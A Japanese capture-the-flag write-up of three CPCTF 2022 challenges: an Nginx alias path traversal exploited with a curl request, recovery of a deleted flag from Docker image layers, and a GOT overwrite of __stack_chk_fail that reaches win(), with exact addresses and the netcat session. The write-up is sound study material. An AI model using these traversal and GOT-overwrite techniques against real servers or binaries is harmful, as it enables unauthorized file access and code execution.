ヒント1 このWebサイトではNginxというアプリケーションが使われています。 nginx.confはNginxの設定ファイルです。 ヒント2 nginx.confの5~7行目の設定をどうにかくぐり抜けることができればフラグにアクセスできそうですが... Nginxに対する攻撃手法などを検索してみるとうまい方法が見つかるかもしれません。
nginx location ディレクトリトラバーサル
でググってみるとnginxの設定ミスで起こるパス トラバーサル - Qiitaを見つけました。その中で以下の言及がありました:
ディレクトリセパレーター (すなわち / ) でlocationが終わっていない場合: location /i { alias /data/w3/images/; } /i../app/config.py のリクエストで, /data/w3/app/config.py のファイルが送られます。
試しました:
$ curl https://forbidden-2.cpctf.space/public../private/flag.txt CPCTF{g0_t0_tr4v3r541} $
フラグを入手できました: CPCTF{g0_t0_tr4v3r541}
これはうっかり付け忘れがありそうで怖いですね……
ヒントで解法を見て解いた問題の一部
3個あるヒントのうち全部(=解法)を見て解いた問題です。全部で6問の解法を見て解きました。その中で特筆したいものだけを書きます。得点はヒントを見たことによる減点後の点数です。
[Forensics, Easy] Dive! (21 solves, 33.77 points)
Docker Imageが渡されます。隠されたフラグを探してみましょう! 渡されたImageのロードはdocker load -i image.tarで行うことができます。
言われたとおりにとりあえずロードして、docker run -it dive:latest bash
で中身を見てみましたが、フラグは見つかりませんでした。grepやfindのパワープレイをしたり、envで環境変数を見たりしましたがありませんでした。さっぱり分からなかったのでヒントを見ていきました:
ヒント1 渡されたDocker Imageはtarで圧縮されているので解凍してみましょう。 ヒント2 Docker Imageはlayerという各操作の結果を積み重ねて圧縮して構成されています。 Docker Imageの解析ツールにはdiveというものがあります。これを使ってどのレイヤーにflagがあるのか調べてみましょう。
wagoodman/dive: A tool for exploring each layer in a docker imageを導入して試してみました。docker load -i image.tar
後にsudo dive dive:latest
を実行すると、おそらくレイヤーと言われているものの解析画面が表示されました:
レイヤーを見ていると、途中でflag.txtを追加して、後の方で削除していることが分かりました。あとはflag.txtの内容をどうにかして見られたら、と思って探しましたがよくわかりませんでした。ID箇所にある7438c8f0bc6b5071ed71be1e7887575b03e583e524366450fedd814d59cb8004
という名前のフォルダーがtarファイル中にあるか探しましたが見当たりませんでした。
manifest.json
のLAYERを適当に削ってflag.txt削除前の状態にできないか試しましたが、invalid manifest, layers length mismatch: expected 15, got 35
エラーになってダメでした。
よく分からなかったので最後のヒント(=解法)も見ました:
ヒント3 (解法) まず、docker load -i image.tarを実行してイメージをロードします。 $ docker load -i image.tar Loaded image: cpctf-dive:latest $ docker images REPOSITORY TAG IMAGE ID CREATED SIZE cpctf-dive latest d8e8f282dfdc 7 minutes ago 77.8MB flagの情報はDocker Imageの中に保存されているはずです。diveという解析ツールを用いて解析してみましょう。 dive d8e8f282dfdc 左下のほうを見ると、id: ********というのが見つかると思います。 これがlayerのIDになります。 Docker Imageはtarで固められているので解凍してみましょう。すると、先ほど見つけたIDのフォルダと中にtarファイルが見つかると思います。これがlayerの情報です。 このtarを解凍すると、flag.txtが出てきます。 中身はbase64エンコードされているので、デコードすれば、flagが取得できます。
「あっれやっぱりIDのフォルダーがある???」と思って見返しましたがやっぱり無さそうでした。とりあえずtarファイルの中にflag.txtがあるそうなので、ゴリ押すことにしました:
$ tar -xvf image.tar 02a0bcc68b501617afb5dfc03b525ad82cddf849624d54419f7033fbcda285ba/ 02a0bcc68b501617afb5dfc03b525ad82cddf849624d54419f7033fbcda285ba/VERSION 02a0bcc68b501617afb5dfc03b525ad82cddf849624d54419f7033fbcda285ba/json 02a0bcc68b501617afb5dfc03b525ad82cddf849624d54419f7033fbcda285ba/layer.tar 04f7db98dadd7843b2a90546ccb32d58c3593013e826da7460abecdcdcfec309/ 04f7db98dadd7843b2a90546ccb32d58c3593013e826da7460abecdcdcfec309/VERSION 04f7db98dadd7843b2a90546ccb32d58c3593013e826da7460abecdcdcfec309/json 04f7db98dadd7843b2a90546ccb32d58c3593013e826da7460abecdcdcfec309/layer.tar 0d858be546e0ae57663bb0ce96312418deb7be5360a28064ee70c9cf7c929d77/ 0d858be546e0ae57663bb0ce96312418deb7be5360a28064ee70c9cf7c929d77/VERSION 0d858be546e0ae57663bb0ce96312418deb7be5360a28064ee70c9cf7c929d77/json 0d858be546e0ae57663bb0ce96312418deb7be5360a28064ee70c9cf7c929d77/layer.tar 0fe505abdbe17f4709d3273bccb860cfc697d18056026b5230dd5465210334fc/ 0fe505abdbe17f4709d3273bccb860cfc697d18056026b5230dd5465210334fc/VERSION 0fe505abdbe17f4709d3273bccb860cfc697d18056026b5230dd5465210334fc/json 0fe505abdbe17f4709d3273bccb860cfc697d18056026b5230dd5465210334fc/layer.tar 1519666a8b60ca7911399b002e41f435a30374bf98bb2ef0bd17118d04a84f3f/ 1519666a8b60ca7911399b002e41f435a30374bf98bb2ef0bd17118d04a84f3f/VERSION 1519666a8b60ca7911399b002e41f435a30374bf98bb2ef0bd17118d04a84f3f/json 1519666a8b60ca7911399b002e41f435a30374bf98bb2ef0bd17118d04a84f3f/layer.tar 21399a68bfb458e4810e0d17e9a157a13b5a34aa69cbee7e55f349dfd2e7d73d/ 21399a68bfb458e4810e0d17e9a157a13b5a34aa69cbee7e55f349dfd2e7d73d/VERSION 21399a68bfb458e4810e0d17e9a157a13b5a34aa69cbee7e55f349dfd2e7d73d/json 21399a68bfb458e4810e0d17e9a157a13b5a34aa69cbee7e55f349dfd2e7d73d/layer.tar 3220bc81bd1470c6ffac85853b4e8a75b2570983b0937a7ca7f666d581e6cadf/ 3220bc81bd1470c6ffac85853b4e8a75b2570983b0937a7ca7f666d581e6cadf/VERSION 3220bc81bd1470c6ffac85853b4e8a75b2570983b0937a7ca7f666d581e6cadf/json 3220bc81bd1470c6ffac85853b4e8a75b2570983b0937a7ca7f666d581e6cadf/layer.tar 41302ba9ef49b887e19812f8e82d1cead3249e58cf264b16796ef7ed2b1cccce/ 41302ba9ef49b887e19812f8e82d1cead3249e58cf264b16796ef7ed2b1cccce/VERSION 41302ba9ef49b887e19812f8e82d1cead3249e58cf264b16796ef7ed2b1cccce/json 41302ba9ef49b887e19812f8e82d1cead3249e58cf264b16796ef7ed2b1cccce/layer.tar 4f5e75cb8c95dcb7abb0bbfcca9d422e9be218842647b6a6d5bb3eecd704a017/ 4f5e75cb8c95dcb7abb0bbfcca9d422e9be218842647b6a6d5bb3eecd704a017/VERSION 4f5e75cb8c95dcb7abb0bbfcca9d422e9be218842647b6a6d5bb3eecd704a017/json 4f5e75cb8c95dcb7abb0bbfcca9d422e9be218842647b6a6d5bb3eecd704a017/layer.tar 5126fcc48cef0a79d9b9b3018d0dec70cc5e9a9fbb5d473f0b7f33043c0fd44f/ 5126fcc48cef0a79d9b9b3018d0dec70cc5e9a9fbb5d473f0b7f33043c0fd44f/VERSION 5126fcc48cef0a79d9b9b3018d0dec70cc5e9a9fbb5d473f0b7f33043c0fd44f/json 5126fcc48cef0a79d9b9b3018d0dec70cc5e9a9fbb5d473f0b7f33043c0fd44f/layer.tar 549abfbf10a9a7c271bb4db3b3b83ed97fadd067a68878ccd5ef9db8079b80b6/ 549abfbf10a9a7c271bb4db3b3b83ed97fadd067a68878ccd5ef9db8079b80b6/VERSION 549abfbf10a9a7c271bb4db3b3b83ed97fadd067a68878ccd5ef9db8079b80b6/json 549abfbf10a9a7c271bb4db3b3b83ed97fadd067a68878ccd5ef9db8079b80b6/layer.tar 5b09186a63481e37a09c568cfd13cbcee879f10d0bdcb686a833b77f1a9d529e/ 5b09186a63481e37a09c568cfd13cbcee879f10d0bdcb686a833b77f1a9d529e/VERSION 5b09186a63481e37a09c568cfd13cbcee879f10d0bdcb686a833b77f1a9d529e/json 5b09186a63481e37a09c568cfd13cbcee879f10d0bdcb686a833b77f1a9d529e/layer.tar 5c8f70887e15725ccf1a411e452d68e86bfdeeede38988d0efb8bc6911facabb/ 5c8f70887e15725ccf1a411e452d68e86bfdeeede38988d0efb8bc6911facabb/VERSION 5c8f70887e15725ccf1a411e452d68e86bfdeeede38988d0efb8bc6911facabb/json 5c8f70887e15725ccf1a411e452d68e86bfdeeede38988d0efb8bc6911facabb/layer.tar 63017e84d5a4b3c8d947e89a1e0f719ac93eac5e0a2ffc7cfefc64f1a01a62ad/ 63017e84d5a4b3c8d947e89a1e0f719ac93eac5e0a2ffc7cfefc64f1a01a62ad/VERSION 63017e84d5a4b3c8d947e89a1e0f719ac93eac5e0a2ffc7cfefc64f1a01a62ad/json 63017e84d5a4b3c8d947e89a1e0f719ac93eac5e0a2ffc7cfefc64f1a01a62ad/layer.tar 6fd0895f6c8e508ee60dd560b03fb83c40f74c00a60c1be1500ce98cf16bf5da/ 6fd0895f6c8e508ee60dd560b03fb83c40f74c00a60c1be1500ce98cf16bf5da/VERSION 6fd0895f6c8e508ee60dd560b03fb83c40f74c00a60c1be1500ce98cf16bf5da/json 6fd0895f6c8e508ee60dd560b03fb83c40f74c00a60c1be1500ce98cf16bf5da/layer.tar 706ebf8ec0e3819ac4425dd1ca7294a15c379a70dd7261a82552c89331356b0b/ 706ebf8ec0e3819ac4425dd1ca7294a15c379a70dd7261a82552c89331356b0b/VERSION 706ebf8ec0e3819ac4425dd1ca7294a15c379a70dd7261a82552c89331356b0b/json 706ebf8ec0e3819ac4425dd1ca7294a15c379a70dd7261a82552c89331356b0b/layer.tar 75c5b6368a017ac403a83af1381cb916a8e1bf8e83d779c81d85069e465d4be5/ 75c5b6368a017ac403a83af1381cb916a8e1bf8e83d779c81d85069e465d4be5/VERSION 75c5b6368a017ac403a83af1381cb916a8e1bf8e83d779c81d85069e465d4be5/json 75c5b6368a017ac403a83af1381cb916a8e1bf8e83d779c81d85069e465d4be5/layer.tar 762fe12b22cc1f57a59adf48295aa9583968a6e33ee12f8eff334d99c59f82bd/ 762fe12b22cc1f57a59adf48295aa9583968a6e33ee12f8eff334d99c59f82bd/VERSION 762fe12b22cc1f57a59adf48295aa9583968a6e33ee12f8eff334d99c59f82bd/json 762fe12b22cc1f57a59adf48295aa9583968a6e33ee12f8eff334d99c59f82bd/layer.tar 81c98e8c4b62a98169b2fe6303feca5d0e2619b6f26fef654832999ab2d1a7c1/ 81c98e8c4b62a98169b2fe6303feca5d0e2619b6f26fef654832999ab2d1a7c1/VERSION 81c98e8c4b62a98169b2fe6303feca5d0e2619b6f26fef654832999ab2d1a7c1/json 81c98e8c4b62a98169b2fe6303feca5d0e2619b6f26fef654832999ab2d1a7c1/layer.tar 8be173cde4868a29fd9de7f32d83ff6b609862e9fb2bef57d77cb46be2ffc49a/ 8be173cde4868a29fd9de7f32d83ff6b609862e9fb2bef57d77cb46be2ffc49a/VERSION 8be173cde4868a29fd9de7f32d83ff6b609862e9fb2bef57d77cb46be2ffc49a/json 8be173cde4868a29fd9de7f32d83ff6b609862e9fb2bef57d77cb46be2ffc49a/layer.tar 97908b4d2e33beff2248a092d1af5ce192d99cdb3c09c9a690251062fb44e2fe/ 97908b4d2e33beff2248a092d1af5ce192d99cdb3c09c9a690251062fb44e2fe/VERSION 97908b4d2e33beff2248a092d1af5ce192d99cdb3c09c9a690251062fb44e2fe/json 97908b4d2e33beff2248a092d1af5ce192d99cdb3c09c9a690251062fb44e2fe/layer.tar 99dc41cbc9b93e92d4f147b5ac9c1b9bdaabe5b9cb1d26ce30f1ae4d059dba86/ 99dc41cbc9b93e92d4f147b5ac9c1b9bdaabe5b9cb1d26ce30f1ae4d059dba86/VERSION 99dc41cbc9b93e92d4f147b5ac9c1b9bdaabe5b9cb1d26ce30f1ae4d059dba86/json 99dc41cbc9b93e92d4f147b5ac9c1b9bdaabe5b9cb1d26ce30f1ae4d059dba86/layer.tar a1f208b01b42a97fa768c1fe2f763e7573b5efa401b212c701b2d8b352686c09.json a6c2bff80e26675ab852f98513058619584af243b4f8d1dae6eff9460d777816/ a6c2bff80e26675ab852f98513058619584af243b4f8d1dae6eff9460d777816/VERSION a6c2bff80e26675ab852f98513058619584af243b4f8d1dae6eff9460d777816/json a6c2bff80e26675ab852f98513058619584af243b4f8d1dae6eff9460d777816/layer.tar b4fe7649ee52b6c6d60c482acff6416ca06a21eefe0f44be8a82bb0c0d88fe7d/ b4fe7649ee52b6c6d60c482acff6416ca06a21eefe0f44be8a82bb0c0d88fe7d/VERSION b4fe7649ee52b6c6d60c482acff6416ca06a21eefe0f44be8a82bb0c0d88fe7d/json b4fe7649ee52b6c6d60c482acff6416ca06a21eefe0f44be8a82bb0c0d88fe7d/layer.tar bfc3743eb72a757162ed8ee83caeae638f40407a884e0af414a6e09145afb6e9/ bfc3743eb72a757162ed8ee83caeae638f40407a884e0af414a6e09145afb6e9/VERSION bfc3743eb72a757162ed8ee83caeae638f40407a884e0af414a6e09145afb6e9/json bfc3743eb72a757162ed8ee83caeae638f40407a884e0af414a6e09145afb6e9/layer.tar c213477d0147f041450166c5582706682886612d0721d17a8099e05cae074628/ c213477d0147f041450166c5582706682886612d0721d17a8099e05cae074628/VERSION c213477d0147f041450166c5582706682886612d0721d17a8099e05cae074628/json c213477d0147f041450166c5582706682886612d0721d17a8099e05cae074628/layer.tar c4fb52dc99933c77cc035fd7a0c838de7ed3e5ec33c11dcd71f4b4178c9db09c/ c4fb52dc99933c77cc035fd7a0c838de7ed3e5ec33c11dcd71f4b4178c9db09c/VERSION c4fb52dc99933c77cc035fd7a0c838de7ed3e5ec33c11dcd71f4b4178c9db09c/json c4fb52dc99933c77cc035fd7a0c838de7ed3e5ec33c11dcd71f4b4178c9db09c/layer.tar cd934ca36bac6521ec610d9c01d7818edc03a3c4129ee7019291a7097e1605c3/ cd934ca36bac6521ec610d9c01d7818edc03a3c4129ee7019291a7097e1605c3/VERSION cd934ca36bac6521ec610d9c01d7818edc03a3c4129ee7019291a7097e1605c3/json cd934ca36bac6521ec610d9c01d7818edc03a3c4129ee7019291a7097e1605c3/layer.tar d2c1fbdb6f3563714b77aacf902fb453ba1a390754610a3b67462673b2efe38a/ d2c1fbdb6f3563714b77aacf902fb453ba1a390754610a3b67462673b2efe38a/VERSION d2c1fbdb6f3563714b77aacf902fb453ba1a390754610a3b67462673b2efe38a/json d2c1fbdb6f3563714b77aacf902fb453ba1a390754610a3b67462673b2efe38a/layer.tar d3131e5b21792d771a6ba7fd4f7a198b9b6ea627fec3b72059f6fa4897412ede/ d3131e5b21792d771a6ba7fd4f7a198b9b6ea627fec3b72059f6fa4897412ede/VERSION d3131e5b21792d771a6ba7fd4f7a198b9b6ea627fec3b72059f6fa4897412ede/json d3131e5b21792d771a6ba7fd4f7a198b9b6ea627fec3b72059f6fa4897412ede/layer.tar e818bdecfa8970dfb2b9ad52a2a32f3b39093c92dce0a8209daaa256ed5167e6/ e818bdecfa8970dfb2b9ad52a2a32f3b39093c92dce0a8209daaa256ed5167e6/VERSION e818bdecfa8970dfb2b9ad52a2a32f3b39093c92dce0a8209daaa256ed5167e6/json e818bdecfa8970dfb2b9ad52a2a32f3b39093c92dce0a8209daaa256ed5167e6/layer.tar eb83e30eaec1b270592d1676fdc71887050de81d9de71cf127f28b2d499af816/ eb83e30eaec1b270592d1676fdc71887050de81d9de71cf127f28b2d499af816/VERSION eb83e30eaec1b270592d1676fdc71887050de81d9de71cf127f28b2d499af816/json eb83e30eaec1b270592d1676fdc71887050de81d9de71cf127f28b2d499af816/layer.tar f8af4633ee287dd9673ec869a279480bdd0f69629bd2c153b5f630a92bc8055b/ f8af4633ee287dd9673ec869a279480bdd0f69629bd2c153b5f630a92bc8055b/VERSION f8af4633ee287dd9673ec869a279480bdd0f69629bd2c153b5f630a92bc8055b/json f8af4633ee287dd9673ec869a279480bdd0f69629bd2c153b5f630a92bc8055b/layer.tar f92379555d6dfa0b837777ceb81ab7a971b17a420ae6371e45b4b41b2527a0b9/ f92379555d6dfa0b837777ceb81ab7a971b17a420ae6371e45b4b41b2527a0b9/VERSION f92379555d6dfa0b837777ceb81ab7a971b17a420ae6371e45b4b41b2527a0b9/json f92379555d6dfa0b837777ceb81ab7a971b17a420ae6371e45b4b41b2527a0b9/layer.tar ffd573a0fd24a688f8c9a20183cb879df809cf32189e634bff00f6018878a011/ ffd573a0fd24a688f8c9a20183cb879df809cf32189e634bff00f6018878a011/VERSION ffd573a0fd24a688f8c9a20183cb879df809cf32189e634bff00f6018878a011/json ffd573a0fd24a688f8c9a20183cb879df809cf32189e634bff00f6018878a011/layer.tar manifest.json repositories $ find . -name 'layer.tar' -exec tar -xf {} \; $ find . -name 'flag.txt' ./cpctf/flag.txt $ cat cpctf/flag.txt Q1BDVEZ7ZDF2M18xbjcwX2QwY2szcl8xbTQ2M30= $ cat cpctf/flag.txt | base64 -d CPCTF{d1v3_1n70_d0ck3r_1m463} $
フラグを入手できました: CPCTF{d1v3_1n70_d0ck3r_1m463}
[Pwn, Medium] Add anywhere (9 solves, 39.23 points)
任意アドレス書き込みは怖いけどこれなら...? nc add-anywhere.cpctf.space 30014
配布ファイルとして、main.c
と、実行バイナリadd-anywhere
がありました:
#include <stdio.h> #include <stdlib.h> void win(){ system("cat /home/user/flag"); } int main(){ setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); void *addr = NULL; short num = 0; char comment[20]; puts("You can add a little value to any addr!"); printf("addr> "); scanf("%p",&addr); printf("val> "); scanf("%hd",&num); * (short *)addr += num; puts("Any comment?"); scanf("%28s",comment); return 0; }
$ file add-anywhere add-anywhere: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e641385d518dbc2559dbceeaf656595959a39d26, for GNU/Linux 3.2.0, not stripped $ pwn checksec add-anywhere [*] '/mnt/d/Documents/work/ctf/CPCTF2022/Add anywhere/add-anywhere' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) $
PIE無効かつPartial RELROであるので、win
関数へ制御を移すためには戻り値アドレスを改変するかGOTを操作することが思いつきます。今回の場合は、最後のscanfでバッファオーバーフロー出来るのでそこで何か出来るかと思いましたが、スタックの使われ方を見ると戻りアドレスへは届かず、改ざんできるのはカナリアだけでした(このことが重要だったのですが、このときは即座に忘れてしまいました)。
そうなるとGOT改ざんしか無さそうです。しかしソースコードとIDAの逆コンパイル表示を見ている限りでは、putsもscanfも* (short *)addr += num
前で使われているのでlibcのアドレスを指してしまっているので2バイト加算ではwin
関数のアドレスにできなさそうです。gdbで確認してみても実際そうでした。分からなかったのでヒントを見ていきました:
ヒント1 まずはこのバイナリのセキュリティ機構を確認しましょう。 win関数を呼び出したいですが使われていません。 実行フローを無理やりwin関数に持っていきたいですね。 ヒント2 win関数は実行によらず固定のアドレスに置かれています 今回は加算しかできないので、ランダムな値が入ったアドレスを指定しても あまりwin関数には結びつかなさそうです。 ヒント3 (解法) Stack Smashing Protectorが有効なのでリターンアドレスの書き換えは難しいです。 そのため今回はGOT overwriteを狙います。 win関数のアドレスに書き換えられそうなものを探すと、 ほとんどの関数のGOTがlibc内のアドレスを指しており少しの加算(減算)ではwin関数のアドレスにならないことが分かります。 しかし__stack_chk_failはシンボル解決前なのでバイナリのpltセクションを指しています。 ここに加算をしてwin関数に書き換えましょう!
__stack_chk_fail
は全く考慮していませんでした!!!!!!!!!
方針はわかったので必要な値を確認しました:
- gdbを使って、
__stack_chk_fail
のGOTテーブルの初期値が0x0000000000401040
であることを確認 - IDAを使って、
win
関数のアドレスが0x00000000004011D6
であることを確認- これらから、
num
に与える値は+406
と分かります
- これらから、
- IDAを使って、
__stack_chk_fail
のGOTテーブルのアドレスが0x0000000000404020
であることを確認
これらを使いつつ、バッファオーバーフローを起こしてカナリアを改ざんして__stack_chk_fail
を呼び出させ、改ざんしたGOTテーブル経由でwin
関数を呼び出させました:
$ nc add-anywhere.cpctf.space 30014 You can add a little value to any addr! addr> 0x0000000000404020 val> 406 Any comment? aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa CPCTF{stack_smashing_to_win} $
フラグを入手できました: CPCTF{stack_smashing_to_win}
ヒント無しで気付きたかった問題の1つです。IDAの逆アセンブル表示ではもちろん__stack_chk_fail
があることが分かるので、そちらも見ていれば気づけたかもしれません。とは言えヒントを見たときは「その手がありましたか」とテンションが上がっていました。
感想
- 制限時間は6時間と短めの個人戦でしたが、問題はたくさん(58問?)ありました!内容を全然確認できていない問題もあるので復習します。
- PPC(=競プロ)を久々にやりました。Easy問題でも一部解けなかったので力不足を感じましたが、方針やオーダーを考えて実装してACを取るのは楽しいです。
- ヒントシステムがあり、かつ解法を見ても1/10とは言え点数がもらえるのが物珍しかったです。
- Forensicsの一部の問題は全然分からなかったので解法を見ました。ここでヒントがなければわからないまま終わっていたので、ヒントを見て学べるという面でとても良かったと思います。
- 最初はヒント無しで解けそうな問題に取り組み、最後1時間ちょっとをヒントを見まくって解いていました。
- 難易度Newbieが10点固定とかなり低いので、本気で上位を狙うなら手を付けない選択肢もあるのかなと思いました。
- PPCジャンルはハマると時間が溶けるだけと分かっているので、バグらせそうなNewbie問題1つはほぼ手を付けないままにしたりしました。
- 様々な発展的なツールを使う問題が多く、ヒントを見て学べるので良かったです。特に、WebGLゲームのスコアを改ざんする問題が面白かったです(解法を見ました)。